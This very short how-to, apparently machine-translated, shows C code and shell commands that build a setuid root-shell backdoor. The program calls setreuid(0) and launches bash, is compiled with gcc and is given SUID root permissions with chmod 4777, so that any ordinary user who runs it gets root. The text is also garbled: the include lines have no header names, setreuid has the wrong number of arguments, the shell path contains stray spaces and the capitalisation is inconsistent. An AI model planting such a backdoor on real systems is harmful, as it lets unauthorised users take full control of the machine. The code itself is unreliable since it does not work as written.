Code
#include #include int main () {setreuid (0); system ("/ bin / bash");}
Save the source code first:
#gcc -o simpile_setuid.out simpile_setuid.c
Set the SUID as root in the system:
#CHMOD 4777 Simpile_setuid.out
Save to ordinary users can access, log in with ordinary users, and execute ROOT privileges.